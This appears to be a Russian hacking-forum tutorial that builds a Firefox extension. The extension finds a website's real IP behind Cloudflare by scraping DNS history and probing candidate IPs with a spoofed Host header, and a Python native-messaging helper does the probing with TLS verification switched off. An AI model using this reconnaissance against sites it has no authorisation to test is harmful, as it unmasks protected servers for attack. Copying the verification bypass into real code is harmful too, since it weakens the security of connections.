• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья JS: Пишем хакерское расширение для браузера. Часть 2

petrinh1988

X-pert
Эксперт
Регистрация
27.02.2024
Сообщения
243
Реакции
493
Автор petrinh1988
Источник https://xss.pro


Это не статья. Это уже книга какая-то. Чтобы не растягивать материал на кучу статей, было принято решение дать максимум в одной. Осилить за раз, вряд ли получится. Но пройдя весь материал, у вас будет достаточно навыков и знаний, чтобы написать 99% расширений под свои задачи или на заказ. Конечно же, статья сделана с уклоном в тематику пентеста. Рассмотрено большое количество разных нюансов разработки.

В первой части мы закончили на сборе информации с сервисов. Если точнее, то просто открывали несколько вкладок и парсили одну из них. Предлагаю доработать то решение, дав расширению полезную функцию. Добавим возможность автоматического поиска IP-адреса скрытого за CloudFlare или другим сервисом.

c0d3x, написал очень серьезную инструкцию, в которой довольно подробно рассказал метод найти реальный IP сервера. В расширении будем использовать сильно урезанную версию. На уровне расширения предполагается простая и быстрая проверка, а дальше пользователь по желанию может углубляться. Важно понимать ограничения и разумно использовать ресурсы. Например, если из расширения запустить masscan, мы потеряем полезность в виде быстроты. Masscan, или другое ПО, может часами проводить проверку. Расширение же, предполагает максимально быстрый чек. Даже проверка десятка IP-адресов займет серьезное время. Поэтому, воспринимайте расширение не как конечный продукт, а как демонстрацию тех или иных технологий и решений. Тем более, в статье будет показано много подходов, в том числе которые зашли в тупик. Понимание ограничений, а также способов их обходить, на мой взгляд, крайне важно. А “обделался” я несколько раз и очень знатно. Если бы изначально знал, сколько времени, сил и нервов уйдет на реализацию идеи с поиском IP, не знаю взялся ли бы за её реализацию.

Расширение будет собирать возможные IP из истории ViewDNS, после чего проверять ответы серверов с подменой заголовка Host. Вот с какими подходами познакомлю вас в статье:

  1. Перехват и подмена заголовок через события webRequest
  2. Использование Webpack при разработке расширений для использования NPM-библиотек в своих расширениях
  3. Запуск приложений в операционной системе через механизм NativeMessages

Закончив с этим расширением, перейдем к расширению для поиска уязвимостей. В прошлой статье обещал показать, как выполнять активное сканирование расширением. Оговорюсь, что не собираюсь соперничать с существующими сканерами. Все же их пишут уже много лет и группами программистов, поэтому было бы сумасбродством говорить о написании полноценной альтернативы. Опять же, полноценный сканер посадит браузер на песочные часы.

Продемонстрирую пример того, как искать Server-Side Template Injection и XSS. Будем подгружать пэйлоады из файлов, делать запросы несколькими способами и чекать результат.

Лабы​


Для демонстрации сканеров будут использоваться лабы PortSwigger. Да, неоднократно видел мнение, что все хотят реальные рабочие таргеты в статьях. Но скажите как? Вот преимущества использования лабы для статьи:

  1. Это не нарушает никаких законов, лабы созданы для тренировки навыков поиска уязвимостей. Ни я, не читатель ничего не нарушает работая с лабами.
  2. Лаба стабильная. Реальный таргет отработает первые полторы попытки и помрет, либо админы починят…По-копайте тему “Интересные уязвимости”, большая часть таргетов не актуальна.
  3. Лаборатория предсказуема. В реальной жизни каждый таргет будет иметь свои особенности и охватить все статьей не выйдет. В реальной жизни инструменты постоянно требуют доработки, актуализации и, как ни крути, ручного вмешательства в процесс.

Важные нюансы​

Прежде, чем перейти к разработке новых расширений, хочу дополнить предыдущую статью. Я упустил некоторые важные моменты, которые могут уничтожить нервную систему, по неопытности. Ну и в этой статье информация тоже будет использоваться.

Так как у нас нет контентных скриптов, нет запроса прав на получение доступа к хостам. Нет запроса, нет прав. Ошибки это не вызовет, расширение будет спокойно работать, но… запросы webRequests расширением обрабатываться не будут. Никакой информации получить не удастся. Чтобы все заработало, нужно прописать соответствующий параметр в файл манифеста:

JavaScript:
    "host_permissions": [
        "<all_urls>"
    ],

После перезагружаем расширение в браузере и переходим по адресу about:addons. Находим наше расширение и идем в настройки. Кликаем по вкладке “Permissions” (Разрешения) и подтверждаем, что расширение может обрабатывать все запросы.

1733051884976.png


Либо, прописываем конкретные урлы, что было бы правильнее если бы мы распространяли свое расширение, тем более через магазин расширений:

JavaScript:
    "host_permissions": [
        "https://viewdns.info/iphistory/*"
    ],

Соответственно, вкладка с расширениями будет иметь следующий вид:

1733051869830.png


Invalid Request ID​

С такой интересной ошибкой можно столкнуться при работе с webRequest. И она может выпить очень много вашей крови. Поэтому и решил привести этот пример.

Вообще, в целом, чтобы узнать об ошибке, уже понадобиться приложить усилия. Вы просто можете заметить, что расширение игнорирует обработку ответа. Фильтр потока даже не обрабатывает событие ondata. В этом случае, самое время искать ошибку. Чтобы её отследить, повесьте на filterResponseData подобный обработчик события “onerror”:

JavaScript:
    filter.onerror = (event) => {
        let str = decoder.decode(event.data, {stream: true});
        console.log('Error', str)
        console.log(event)
        console.log(data.join(""))
        console.log(`Error: ${filter.error}`);
    }

И откройте инспектор расширений на странице about:debugging#/runtime/this-firefox:

1733051857222.png


Посе, в консоли инспектора расширения можно будет увидеть примерно такую картинку:

1733051847496.png


Наш фильтр выдает, что идентификатор запроса ошибочный. Почему? В 99% случаев проблема в асинхронности. Запрос завершился на момент создания фильтра. Обработчик пытается найти запрос, но его уже нет. В 1% случаев, вы забыли про права доступа либо используете для фильтрации неверный шаблон урла.

Чтобы понять причину, нужно разобраться в том, как устроена работа движка JavaScript в FF. Дело в том, что для работы фоновых скриптов используется фоновая страница, которая фактически выглядит следующим образом:

1733051837705.png


Специально сделал скриншот рядом с манифестом, чтобы показать как перечисленные скрипты добавляются на страницу. Да, фактически, для каждого расширения, имеющего фоновые скрипты, браузер создает отдельную фоновую страницу и хранит её в памяти. Соответственно, код выполняется не в каком-то эфемерном пространстве памяти, а на этой самой странице. Кстати, именно по этой причине, фоновые скрипты можно заменить на “page” и дать браузеру свою готовую страничку.

В результате мы понимаем, что фоновые скрипты обрабатываются тем же движком, как на любой открытой странице любого сайта. Соответственно, нужно внимательно отслеживать, что именно происходит в вашем коде и как вы работаете с асинхронностью. Про асинхронность JS есть огромная куча материалов и пытаться переобъяснить в 101й раз не вижу смысла.

Если возникла ошибка, внимательно следите за порядком выполнения. Хотя бы, элементарно пронумеровав каждый шаг в консоль-логах. Общие же рекомендации такие:
  1. Навешивайте события обработки до того, как начнутся хоть какие-то действия с запросами
  2. Убедитесь в правильности шаблона отслеживания, по возможности вместо шаблонов цепляйте события к вкладкам
  3. Проверяйте что пытаетесь работать с правильным типом запросов. Например, xmlhttprequest, вместо main_frame если пытаетесь перехватить какой-нибудь fetch у React-приложения.

Расширение определяющее реальный IP​

Расширение будет запускаться по нажатию кнопки в popup-окошке. Далее логика такая:

  1. Открыли вкладку с историей DNS
  2. Если сервис просит каптчу, то ждем когда пользователь её решит
  3. Парсим айпишники со страниц сервисов, добавляем IP в очередь на парсинг
  4. Выполняем запрос по IP с указанием хоста
  5. Закрываем вкладки, чтобы не мешались

Как вы понимаете, есть множество вариантов обработать информацию на странице. Можно перехватывать запросы, как делали это в прошлой статье. Другой вариант, это инъекция javascript-кода или файла. Я же пойду путем подключения

Буду использовать Следующую схему:

Мы можем столкнуться с ситуацией, когда CloudFlare заподозрит в нас бота и потребует отгадать каптчу. В этом случае, нужно передать управление пользователю. Но как указать, с какой вкладкой мы имеем дело? Для этого вспомним, что при передаче сообщения через sendMessage в функцию обработчик передается не одна, а три переменных: сообщение, отправитель и колл-бэк для обратного вызова. Обычно их называют по типу: data, sender, sendResponse. Распечатаю sender:

1733051826398.png


Собственно, есть довольно подробная информация о контексте вызова, но главное — есть данные о вкладке. Это означает, что мы можем вызывать update() для вкладки. Именно через update() мы можем переключить вкладку. Все достаточно тривиально:

JavaScript:
if (data.action == ACTONS.needCaptcha) {
        console.log(data, sender)
        browser.tabs.update(sender.tab.id, { active: true })
    }

Указал какую вкладку надо изменить и само изменение, в виде активации вкладки. Но насколько это правильно? Я думаю, что гораздо корректнее подсветить вкладку. Для этого просто меняем “active” на false и добавляем “highlighted”

JavaScript:
browser.tabs.update(sender.tab.id, { highlighted: true, active: false })

Выглядит забавно, но функцию свою выполняет:

1733051810104.png


Теперь нужно что-то придумать, чтобы перехватывать момент вывод IP-адресов. Можно использовать MutationOvserver, чтобы стабильно следить за изменениями на странице. Как это сделать, я описывал в статье про Acunetix Helper. Можно прикрутить банальный цикл, который будет искать таблицу на странице, делая паузу между попытками.

Мы же пойдем другим путем, будем отслеживать обновления созданных нами вкладок. Не факт, что в данном случае это лучшее решение, просто чтобы продемонстрировать как это делается и закрыть еще один вопрос в разработке расширений.

JavaScript:
browser.tabs.onUpdated.addListener(
    listener, // function
    filter     // optional object
)

Вместо listener у нас функция, которая будет принимать: идентификатор вкладки, объект описывающий изменения и объект нового состояния вкладки. Фильтры позволяют тонко настроить на что надо реагировать. В нашем случае, это будет объект содержащий tabId и массив properties, содержащий значение “status”. Для примера распечатал все обновления вкладки после того, как пройдена каптча на viewdns:

1733051797515.png


Работать будет со статусом “complete”. Как только на созданной нами вкладке он произошел, отправляем в контентные скрипты запрос на парсинг. Схематично, взаимодействие будет выглядеть так:

1733051786055.png


Обратите внимание, что получив айпишники мы закрываем вкладку. Это нужно, чтобы у нас впустую не маслал обработчик обновлений вкладки. Нет, можно заморочиться и каждый раз создавать экземпляр функции-обработчика события, каждый раз привязывая отдельную функцию к новой созданной расширением вкладки, а потом удалять слушатель…. но как-то это слишком заморочено. Мы не космический корабль строим, а решаем вполне понятную задачу самыми простыми способами.

Хватит теории, будем кодить. Начнем с манифеста:

JavaScript:
{
    "manifest_version": 3,
    "name": "Get Real IP | xss.pro",
    "description": "Extension for passive scanning of web applications. Developed specifically for the article on the xss.pro website",
    "version": "0.0.1",
    "icons": {
        "48": "images/logo.png",
        "96": "images/logo.png"
    },
    "background": {
        "scripts": ["global.js", "background.js"]
    },
    "action": {
        "default_icon": "images/logo.png",
        "default_title": "Get Real IP | xss.pro",
        "default_popup": "popup/popup.html"
    },
    "content_scripts": [
        {
            "matches": ["https://viewdns.info/*"],
            "js": ["global.js", "content_dns.js"],
            "run_at": "document_end"
        }
    ],
    "host_permissions": [
        "<all_urls>"
    ],
    "permissions": [
        "tabs",
        "activeTab",
        "storage",
        "unlimitedStorage"
    ]
}

Если вы читали все мои статьи про расширения, ничего нового в манифесте нет. Вопрос может возникнуть только в отношении хостов. Зачем нам доступ ко всем адресам? Дело в том, что при тестировании найденных айпишников, нам потребуется делать гет-запросы по типу https://8.8.8.8 с установкой заголовка “Host”. Если мы не пропишем разрешение, то получим ошибку CORS.

Перейдем к контентному скрипту content_dns.js. Сначала объявлю две константы, которые указывают на запрос каптчи:

JavaScript:
const checkNeedCaptcha = 'viewdns.info needs to review the security of your connection before proceeding.'
const checkNeedCaptcha2 = 'Verifying you are human. This may take a few seconds.'

Как и писал выше, если находим эти надписи, подсвечиваем вкладку. Но обернем все в функцию, которую будем вызывать через sendMessage из фона:

JavaScript:
function checkAndParse() {
    if (document.body.innerText.includes(checkNeedCaptcha) || document.body.innerText.includes(checkNeedCaptcha2)) {
        browser.runtime.sendMessage({
            action: ACTONS.needCaptcha
        })

        return
    }

    let ips = Array.from(document.body.innerHTML.matchAll(/<td>(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td><td>.*?<\/td><td>(.*?)<\/td>/g))
                    .filter(item => !item[2].toLowerCase().includes('cloudflare')).map(el => el[1])
   
    const domain = window.location.search.replace('?domain=', '')

    browser.runtime.sendMessage({
        action: ACTONS.saveIPs,
        domain,
        ips
    })
}

Можно было бы просто собрать айпишники при помощи регулярного выражения, но предпочитаю отфильтровать сервера cloudflare. Соответственно, можно усложнить функцию, сделав список для фильтрации

JavaScript:
    const badProviders = ['cloudflare']
    let ips = Array.from(document.body.innerHTML
                    .matchAll(/<td>(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td><td>.*?<\/td><td>(.*?)<\/td>/g))
                    .filter(item => !badProviders.filter(provider => item[2].toLowerCase().includes(provider)).length).map(el => el[1])

Завершает нашу основную контентную функцию передача найденных айпишников в фон через sendMessage. Чтобы дописать контентный скрипт, нужно добавить вызов нашей основной функции. Как и договаривались, вызываем через sendMessage из фона:

JavaScript:
browser.runtime.onMessage.addListener((request) => {
    console.log(request);
    checkAndParse()
});

Пока забудем про контентный скрипт и займемся popup, он ведь будет у нас пусковой точкой:

HTML:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="../bootstrap/bootstrap.min.css">
    <title>Document</title>
    <style>
        body {
            width: 400px;
            height: 400px;
        }

        #start, #process {
            height: 100vh;
        }

    </style>
</head>
<body>
    <div class="container justify-content-center align-items-center">
        <div id="start" class="row justify-content-center align-items-center">
            <div class="col-sm text-center">
                <button id="start-check" class="btn btn-primary">Get domain real IP</button>
            </div>
        </div>
        <div id="process" class="row justify-content-center align-items-center text-center" style="display: none;">
            <img src="../images/processing.gif" style="width: 256px;height: 256px;">
        </div>
        <div id="info" style="display: none;">

        </div>
    </div>
    <script src="../global.js"></script>
    <script src="popup.js"></script>
</body>
</html>

JavaScript:
document.querySelector('#start-check').addEventListener('click', event => {
    event.preventDefault();
    document.querySelector('#start').style.display = 'none'
    document.querySelector('#process').style.display = 'block'
    console.log('popup function', ACTONS.startParsingIP)
    let response = browser.runtime.sendMessage({
        action: ACTONS.startParsingIP
    })    
})

console.log('popup', ACTONS.startParsingIP)

Все достаточно прозаично, разве что пора уже привести код из global.js, в котором у нас перечислены все константы действий:

JavaScript:
const ACTONS = {
    startParsingIP: 'startParsingIP',
    needCaptcha: 'neetCaptcha',
    saveIPs: 'saveIPs',
}

Переходим к сладкому, фоновому скрипту. Начнем с объявления важных сервисных функций:

JavaScript:
let currentURL, currentUrlObj
let createdTabs = []

async function readLocalStorage(key){
    return new Promise((resolve, reject) => {
      browser.storage.local.get([key], function (result) {
        if (result[key] === undefined) {
          reject();
        } else {
          resolve(result[key]);
        }
      });
    });
};

async function getCurrentURL(activeInfo) {
    let activeTab = await browser.tabs.query({active:true, currentWindow: true})
    currentURL = activeTab[0].url
    currentUrlObj = new URL(currentURL)
    return currentURL
}

function getDomain() {
    return currentUrlObj.hostname.split('.').slice(-2).join('.')
}
.

Нам в любом случае потребуется чтение/запись в хранилище, а также фиксация домена активной вкладки. Следующим шагом вешаем событие на выбор вкладки и получение сообщения из других частей расширения:

JavaScript:
browser.tabs.onActivated.addListener(getCurrentURL)
browser.runtime.onMessage.addListener(onMessageHandler)

Сердце скрипта — обработчик сообщений:

JavaScript:
async function onMessageHandler(data, sender) {
    console.log('background event:', ACTONS.startParsingIP)
    if (data.action == ACTONS.startParsingIP) {
        let domain = getDomain()
   
        await openAndparseViewDNS(domain)
    } else if (data.action == ACTONS.needCaptcha) {
        console.log(data, sender)
        browser.tabs.update(sender.tab.id, { highlighted: true, active: false })
    } else if (data.action == ACTONS.saveIPs) {
        console.log(sender.tab.id, data.domain, data.ips, data.ips.length)

        if (data.domain && data.ips && data.ips.length)
        {
            console.log('Save data & send')
            browser.storage.local.set({realIp:{[data.domain]:{foundedIPs: data.ips, step: 1}}})
            browser.tabs.remove(sender.tab.id)
            console.log('Start check')
            await checkIPAddressess(data.domain, data.ips)
        }
    }
    return false
}

Если мы только запускаем скрипт, нужно открыть историю DNS для текущего домена вкладки. При открытии, подгрузится контентный скрипт привязанный в манифесте к https://viewdns.info/*. Функция openAndParseViewDNS не только создаст вкладку, но и привяжет к ней обработчик onUpdate:

JavaScript:
async function openAndparseViewDNS(domain) {    

    const url = `https://viewdns.info/iphistory/?domain=${domain}`
    let tabInfo = await browser.tabs.create({
        active: false,
        url
    })

    createdTabs.push(tabInfo.id)
    browser.tabs.onUpdated.addListener(
        onChangeTabHandler,
        {
            tabId: tabInfo.id,
            properties: ["status"]
        }
    )
}

Фишка челленджа каптчи от CloudFlare в том, что он периодически обновляет страницу. В результате, при каждом обновлении будет вызываться onChangeTabHandler, которая просто передаст управление в контентный скрипт.

JavaScript:
function onChangeTabHandler(tabId, changeInfo, newTabState) {
    if (!changeInfo.status || changeInfo.status != "complete") return

    browser.tabs.sendMessage(tabId, {
        action: ACTONS.parseIPs
    })
}

Вспоминаем второй вариант действия в фоновом скрипте

JavaScript:
else if (data.action == ACTONS.needCaptcha) {
        console.log(data, sender)
        browser.tabs.update(sender.tab.id, { highlighted: true, active: false })
    }

Если наш примитивный анализитор видит необходимость гадать каптчу, он вызовет именно это действие. Как итог, вкладка будет подсвечена. Осталось разобрать третий вариант сообщения, когда контентный скрипт получил таки айпишники:

JavaScript:
else if (data.action == ACTONS.saveIPs) {
        if (data.domain && data.ips && data.ips.length)
        {
            browser.storage.local.set({realIp:{[data.domain]:{foundedIPs: data.ips, step: 1}}})
            browser.tabs.remove(sender.tab.id)
            await checkIPAddressess(data.domain, data.ips)
        }
    }

Здесь мы убеждаемся, что айпишники получены, сохраняем данные и запускаем проверку полученных айпишников:

JavaScript:
async function checkIPAddressess(hostName, ips) {
    console.log('Start checking domain:', domain)
    protocols = ['http', 'https']
    for(let ip of ips) {
        console.log(ip)
        for(let protocol in protocols) {
            if (await checkIP(protocol, ip, hostName)) {
                console.log('Success', protocol, ip, hostName)
            }
        }        
    }
}

async function checkIP(protocol, ip, hostName) {
    try{
        let responseHTTP = await fetch(`${protocol}://${ip}`, {
            headers: {
                'Host': hostName
            },
            signal: AbortSignal.timeout(5000)
        })

        if ([200, 301, 302].includes(responseHTTP.status))
            return true
        return false

    } catch(e) {
        console.log(e)
        return false
    }
}

Выглядит все неплохо. Если бы не но… Помните, что писал будто неплохо “обделался”? Это тот самый момент. С http проблем не возникнет, а с https очень даже возникнут.

В Firefox этот подход не будет работать. Все дело в заботе о безопасности пользователя. Мы пытаемся обратиться по IP-адресу с подменой хоста, в то время когда SSL-сертификат выписан на конкретный домен или поддомен. Если открыть вкладку с подобным несоответствием, мы увидим такую картинку:

1733051760648.png

И эта защита работает на любом уровне при любом запросе. Fetch-запрос, открытие вкладки, открытие вкладки с подменой заголовков — в любом случае защита работает. Но самая беда в том, что эту защиту не отключить. Нет, если вы знаете какой-то из способов, обязательно напишите. Я перерыл весь Google, но ни один способ не прокатил. Даже надежда на настройку групповых политик, через файл policy.json, оказалась пустой. Хотя, через групповые политики можно дофига чего настроить. Вплоть до предустановки каких-то расширений. Советую перейти на гитхаб и посмотреть возможные настройки.

Поэтому я начал искать варианты, как с этим работать. Целую неделю убил, пробуя разные подходы. Основная проблема с fetch в том, что он не просто коряво работал, но и не давал вообще никакой информации. Поэтому, одним из первых вариантов было использовать что-то более информативное и интересное, в виде axios. Пришлось перестроить расширение, чтобы оно собиралось при помощи Webpack. Таким образом можно прикручивать к расширению любые NPM-пакеты. Единственное, что я не учел, это контекст браузера. Чтобы там не хотелось мне, расширение работает в контексте браузера и никакие приблуды не способны этот контекст обойти.

Следующим гениальным вариантом была автоматизация действий в браузере. Мысль была такая: при открытии небезопасной странички мы попадаем сюда
1733051746358.png


А что если открывать странички в браузере и произвести инъекцию кода, который найдет “advancedButton” и кликнет по ней? А еще лучше, кликнет сразу по “exceptionDialogButton”. Протестировав вариант в консоли и получив положительный результат, ринулся в бой… Знаете о чем забыл? О том, что это сервисная страничка Firefox. И хрен что получится запихнуть на эту страничку. Ни через scripting, не через content_scripts.

Варианты выше отпали. Но, на мой взгляд, сами по себе подходы крайне важны в понимании разработки расширений и их есть смысл рассмотреть. Например, прикручивание пакетов через Webpack. Возможности при разработке расширений возрастают кратно. Можно React прикрутить, можно обфусцировать код, можно графики красивые добавить и т.д. и т.п. В итоге, чтобы не отвлекать от статьи, но сохранить инфу, раскидал важные моменты по другим частям статьи и добавил небольшую врезку по попытке обмануть браузер.

В конце своих поисков, выделил три более-менее варианта, которые могут заставить работать расширение:
  1. Перекроить расширение под Chrome, там есть вариант избежать проблем с проверками запустив хром с параметром “--ignore-certificate-errors”.
  2. Использовать сторонний инструмент для запросов. Обещал показать, как запускать приложения в рамках ОС, пришло время продемонстрировать.
  3. Решение “на отъ*бись”. Переложить на пользователя принятие риска с дальнейшим парсингом ответа. Открыли вкладку, дождались когда пользователь нажмет согласие и обрабатываем результат.

Последнее решение мы уже делали, заставляя юзера гадать каптчу, поэтому останавливаться на нем не буду. Про то, как адаптировать расширение под хром, есть куча статей. Даже на самом MDN есть достаточно подробное описание. Сделаю вариант с запуском стороннего приложения, так как это интересно и потенциально дает невероятные возможности в создании сложных расширений,

Запуск сторонних приложений​

На всякий случай уточню терминологию. Расширением я буду называть расширение для браузера и ничто другое. Приложением, то приложение, которое будет запускаться в рамках операционной системы. В нашем случае, это будет Python-скрипт.

Нам может подойти несколько вариантов взаимодействия между расширением и приложением:
  1. Прямой обмен сообщениями
  2. Использование специального (managed) хранилища.

При использовании хранилища, важно понимать, что managed не может быть переписан расширением. Писать туда может только приложение, расширение может только читать. В этом варианте есть свои плюсы, так как мы не особо зависим от времени выполнения. Просто при открытии popup выводим содержимое managed-хранилища, если его нет, предлагаем пользователю инициировать процесс поиска IP. Но есть и свои заморочки, с организацией процесса работы с состояниями и прочей мелочью. Я продемонстрирую вариант работы с прямым обменом сообщениями, а про хранилище можно почитать подробнее здесь.

Для этого потребуется механизм называемый нативными сообщениями. Соответственно, внесем изменения в манифест:

JavaScript:
    "permissions": [
  ...,
        "nativeMessaging"
    ],
    "browser_specific_settings": {
        "gecko": {
            "id": "get_real_ip@example.org",
            "strict_min_version": "64.0"
        }
    }

Во-первых, получаем доступ к объекту апи “nativeMessaging”. Это даст нам возможность создать порт для двустороннего взаимодействия между расширением и приложением. Во-вторых, назначим временный идентификатор расширения, чтобы можно было добавить разрешение на передачу сообщений от расширения приложению.

Следующим шагом надо создать JSON-файл, в котором мы опишем конфигурацию чтобы Firefox понимал как взаимодействовать с приложением:

JavaScript:
{
  "name": "real_ip",
  "description": "Example host for native messaging",
  "path": "C:\\get_real_ip_curl\\app\\app.bat",
  "type": "stdio",
  "allowed_extensions": ["get_real_ip@example.org"]
}

Обращаю внимание на то, что в Windows не получится просто запустить Python-файл. Нам потребуется создать bat-файл, который запустит скрипт python. В Linux и MacOS можно напрямую обращаться к py. Батник будет выглядеть примерно так:

Код:
@echo off

call python C:\get_real_ip_curl\app\get_real_ip.py

Обращаю внимание, если не отключить вывод, браузер выдаст ошибку в консоли расширения. Ошибку связанную с длинной сообщения в байтах:

Native Messaging host tried sending a message that is 977472013 bytes long.

Далее надо как-то сообщить Firefox о нашем JSON-конфиге. Для этого регистрируем наше приложение. В Windows это делается через реестр. Создаем новый ключ здесь:

Код:
HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\NativeMessagingHosts\<name>

В параметре по-умолчанию прописываем путь к нашему файлу. Можно создать reg-файл с подбным содержимым:

Код:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\NativeMessagingHosts\real_ip]
@="C:\\get_real_ip_curl\\app\\app.json"

Соответственно, путь поменяйте на свой и запустите файл. Не хотите регистрировать приложение для всех пользователей, замените “HKEY_LOCAL_MACHINE” на “HKEY_CURRENT_USER” и будет счастье.

В MacOS и Linux, все немного проще. Там достаточно поместить наш JSON-конфиг в папку мазилы. В MacOS путь такой:

Код:
/Library/Application Support/Mozilla/NativeMessagingHosts/<name>.json

В Linux:

Код:
~/Library/Application Support/Mozilla/NativeMessagingHosts/<name>.json

Вместо <name> называем наш файл так, как FF будет искать его для передачи сообщения. В нашем случае, можно использовать “real_ip”. По крайней мере, везде прописал именно так.

Код:
Error: No such native application real_ip

Если вы увидите эту ошибку, значит забыли зарегистрировать приложение или не перезапустили Firefox.

Получение и отправка запросов в Python​

Займемся скриптом. Из коефига приложения понятно, что взаимодействие будет происходить через потоки stdin/stdout. Не вдаваясь в подробности, читаем буфер, разбираем структуру и приводим полученные данные к dict (JSON):

Python:
import sys
import json
import struct

def getMessage():
    rawLength = sys.stdin.buffer.read(4)
    if len(rawLength) == 0:
        sys.exit(0)
    messageLength = struct.unpack('@I', rawLength)[0]
    message = sys.stdin.buffer.read(messageLength).decode('utf-8')
    return json.loads(message)

def encodeMessage(messageContent):
    encodedContent = json.dumps(messageContent, separators=(',', ':')).encode('utf-8')
    encodedLength = struct.pack('@I', len(encodedContent))
    return {'length': encodedLength, 'content': encodedContent}

def sendMessage(encodedMessage):
    sys.stdout.buffer.write(encodedMessage['length'])
    sys.stdout.buffer.write(encodedMessage['content'])
    sys.stdout.buffer.flush()

while True:
    receivedMessage = getMessage()

Обратите внимание, что скрипт не завершает своей работы. Он будет ожидать сообщение все время, пока работает наше расширение. Пока его не выгрузят из браузера или не закроют браузер.

Функция encodeMessage нужна для подготовки сообщения к отправке. Готовое сообщение можно отправить следующим образом:

Python:
sendMessage(encodeMessage({'hostName':jsonData['hostName'], 'ip': ip, 'success': False}))

Для теста можно запустить скрипт, который просто пройдет по всем полученным адресам и вернет готовые объекты:

Python:
while True:
    receivedMessage = getMessage()
    sendMessage(encodeMessage('Hello'))
    try:
        jsonData = json.loads(receivedMessage)
        if jsonData['hostName']:
            for ip in jsonData['ips']:
                sendMessage(encodeMessage({'hostName':jsonData['hostName'], 'ip': ip, 'success': False}))
    except:
        sendMessage(encodeMessage({"error": "Unknown error"}))

Результат работы будет выглядеть следующим образом:

1733051719145.png


Осталось написать функционал, который будет выполнять сам запрос к серверу и, в целом, Python-скрипт будет готов. В целом, нам нужен простой requests.get(). Единственное, что добавим кусок кода, который избавит нас от ошибок и предупреждений о проблемах с SSL. Код ниже взят с github, но главное что прекрасно работает:

Python:
import warnings
import contextlib
import requests
from urllib3.exceptions import InsecureRequestWarning

old_merge_environment_settings = requests.Session.merge_environment_settings

@contextlib.contextmanager
def no_ssl_verification():
    opened_adapters = set()

    def merge_environment_settings(self, url, proxies, stream, verify, cert):
        opened_adapters.add(self.get_adapter(url))

        settings = old_merge_environment_settings(self, url, proxies, stream, verify, cert)
        settings['verify'] = False

        return settings

    requests.Session.merge_environment_settings = merge_environment_settings

    try:
        with warnings.catch_warnings():
            warnings.simplefilter('ignore', InsecureRequestWarning)
            yield
    finally:
        requests.Session.merge_environment_settings = old_merge_environment_settings

        for adapter in opened_adapters:
            try:
                adapter.close()
            except:
                pass

Осталось дописать функцию, которая будет делать запрос:

Python:
def checkIp(ip, hostName):
    try:
        with no_ssl_verification():
            headers = {
                'Host': hostName
            }
            response = requests.get(f"https://{ip}", headers=headers, verify=False)
            if response.status_code == 200:
                return True
        return False
    except Exception:
        return False

Здесь все достаточно стандартно, за исключением того, что запрос выполняется в контексте no_ssl_verification. Завершаем скрипт, подставив результат нашего чека в отправляемое расширению сообщение. Полный код получившегося скрипта:

Python:
import warnings
import contextlib
import requests
from urllib3.exceptions import InsecureRequestWarning

import sys
import json
import struct

def getMessage():
    rawLength = sys.stdin.buffer.read(4)
    if len(rawLength) == 0:
        sys.exit(0)
    messageLength = struct.unpack('@I', rawLength)[0]
    message = sys.stdin.buffer.read(messageLength).decode('utf-8')
    return json.loads(message)

def encodeMessage(messageContent):
    encodedContent = json.dumps(messageContent, separators=(',', ':')).encode('utf-8')
    encodedLength = struct.pack('@I', len(encodedContent))
    return {'length': encodedLength, 'content': encodedContent}

def sendMessage(encodedMessage):
    sys.stdout.buffer.write(encodedMessage['length'])
    sys.stdout.buffer.write(encodedMessage['content'])
    sys.stdout.buffer.flush()
   
old_merge_environment_settings = requests.Session.merge_environment_settings

@contextlib.contextmanager
def no_ssl_verification():
    opened_adapters = set()

    def merge_environment_settings(self, url, proxies, stream, verify, cert):
        opened_adapters.add(self.get_adapter(url))

        settings = old_merge_environment_settings(self, url, proxies, stream, verify, cert)
        settings['verify'] = False

        return settings

    requests.Session.merge_environment_settings = merge_environment_settings

    try:
        with warnings.catch_warnings():
            warnings.simplefilter('ignore', InsecureRequestWarning)
            yield
    finally:
        requests.Session.merge_environment_settings = old_merge_environment_settings

        for adapter in opened_adapters:
            try:
                adapter.close()
            except:
                pass

def log(text):
    with open("log.log", "a") as myfile:
        myfile.write(text + '\n')

def checkIp(ip, hostName):
    try:
        with no_ssl_verification():
            headers = {
                'Host': hostName
            }
            response = requests.get(f"https://{ip}", headers=headers, verify=False)
            if response.status_code == 200:
                return True
        return False
    except Exception:
        return False

while True:
    receivedMessage = getMessage()
    try:
        jsonData = json.loads(receivedMessage)
        if jsonData['hostName']:
            for ip in jsonData['ips']:
                checkResult = checkIp(ip, jsonData['hostName'])                
                sendMessage(encodeMessage({'hostName':jsonData['hostName'], 'ip': ip, 'success': checkResult}))
    except:
        sendMessage(encodeMessage({"error": "Unknown error"}))

Отлично! Самое время привести в порядок код расширения, удалив все ненужное и добавив запуск нашего Python-скрипта. Кроме того, нужно слегка доработать интерфейс попап-окошка, чтобы в нем было место для вывода информации о найденных айпишниках. Дописать изменение состояний расширения, а также реакцию на обновления хранилища. Последнее нужно чтобы в попапе обновлялась информация “на лету”.

Очищенный и “причесанный” код фонового скрипта выглядит не таким громоздким:

JavaScript:
let currentURL, currentUrlObj
let createdTabs = []

port.onDisconnect.addListener((port) => {
    if (port.error) {
        console.log(port.error)
        console.log(`Disconnected due to an error: ${port.error.message}`);
    } else {
        console.log(`Disconnected`, port);
    }
});

async function readLocalStorage(key){
    return new Promise((resolve, reject) => {
      browser.storage.local.get([key], function (result) {
        if (result[key] === undefined) {
          reject();
        } else {
          resolve(result[key]);
        }
      });
    });
};

async function getCurrentURL(activeInfo) {
    let activeTab = await browser.tabs.query({active:true, currentWindow: true})
    currentURL = activeTab[0].url
    currentUrlObj = new URL(currentURL)
    return currentURL
}

function getDomain() {
    return currentUrlObj.hostname.split('.').slice(-2).join('.')
}

async function onCreatedTab(tabInfo) {
    console.log(tabInfo)
    createdTabs.push(tabInfo.id)
   
    let result = await browser.scripting.executeScript({
        target: {
          tabId: tabInfo.id,
        },
        func: () => {
          console.log('Injected script')
          return document.body.innerHTML;
        },
    });
   
    console.log(result)
}

async function openAndparseViewDNS(domain) {    

